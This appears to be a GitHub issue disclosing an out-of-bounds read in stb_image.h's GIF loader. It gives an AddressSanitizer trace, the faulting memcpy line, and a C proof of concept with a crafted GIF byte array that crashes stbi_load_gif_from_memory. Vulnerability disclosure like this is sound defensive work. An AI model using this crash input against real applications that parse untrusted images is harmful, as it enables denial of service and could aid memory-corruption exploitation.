Out-of-bounds Memory Access in stb_image Library during GIF Image Processing
jsnv-dev opened this issue · comments
Out-of-bounds Memory Access in stb_image Library during GIF Image Processing
Summary
An out-of-bounds memory access has been discovered in the stb_image.h library. This issue arises while processing GIF images loaded from memory, leading to a segmentation fault. This vulnerability may result in a denial of service (DoS) or could be exploited to execute arbitrary code.
Affected Component
The vulnerability affects the processing routines within the stb_image.h library that handles GIF images, specifically within the context of the stbi_load_gif_from_memory function.
SEGV Details
AddressSanitizer:DEADLYSIGNAL
=================================================================
==123==ERROR: AddressSanitizer: SEGV on unknown address 0x62ffffff6a28 (pc 0x707570258c23 bp 0x7ffdc3aa7d60 sp 0x7ffdc3aa7528 T0)
==123==The signal is caused by a READ memory access.
#0 0x707570258c23 (/lib/x86_64-linux-gnu/libc.so.6+0xbbc23) (BuildId: eebe5d5f4b608b8a53ec446b63981bba373ca0ca)
#1 0x49ca08 in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
#2 0x51b38c in stbi__gif_load_next /dev/shm/./stb_image.h:6815:16
#3 0x4db9a9 in stbi__load_gif_main /dev/shm/./stb_image.h:6981:14
#4 0x4db3ea in stbi_load_gif_from_memory /dev/shm/./stb_image.h:1449:30
#5 0x4e0d31 in main /dev/shm/poc.c:208:26
#6 0x7075701c1082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: eebe5d5f4b608b8a53ec446b63981bba373ca0ca)
#7 0x41c3ad in _start (/dev/shm/poc+0x41c3ad)The issue is triggered by an out-of-bounds memory access during GIF image processing. The vulnerability is highlighted in the following segments of the code, as outlined by the stack trace:
-
stbi__gif_load_next(Line 6815):- Code snippet:
memcpy( &g->out[pi * 4], &two_back[pi * 4], 4 ); - Issue: Attempts to copy data for GIF processing without adequate bounds checking, leading to potential out-of-bounds access.
- Code snippet:
-
stbi__load_gif_main(Line 6981):- Code snippet:
u = stbi__gif_load_next(s, &g, comp, req_comp, two_back); - Issue: Invokes
stbi__gif_load_next, propagating the handling of potentially malformed or unexpected GIF data that could lead to unsafe memory operations.
- Code snippet:
-
stbi_load_gif_from_memory(Line 1449):- Code snippet:
result = (unsigned char*) stbi__load_gif_main(&s, delays, x, y, z, comp, req_comp); - Issue: The GIF loading process begins, passing through critical data that, if not properly validated or managed, results in out-of-bounds memory access.
- Code snippet:
Steps to Reproduce
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
int main(void) {
int width, height, comp, frames;
int *delays = NULL;
unsigned char data[] = {
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0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x06, 0x03, 0x40, 0x50, 0x10, 0x00, 0x3b, 0x0a
};
unsigned char *img = stbi_load_gif_from_memory(data, sizeof(data), &delays, &width, &height, &frames, &comp, 0);
if (img != NULL) {
printf("Loaded GIF: %dx%d, %d frames, %d components\n", width, height, frames, comp);
stbi_image_free(img);
} else {
printf("Failed to load GIF from memory.\n");
}
if (delays != NULL) {
STBI_FREE(delays);
}
return 0;
}- Compile a test application with AddressSanitizer enabled:
clang poc.c -o poc -g3 -fsanitize=address,undefined -I. -DSTB_IMAGE_IMPLEMENTATION -fno-omit-frame-pointer - Execute the application, then the data in the code will trigger the out-of-bounds memory access.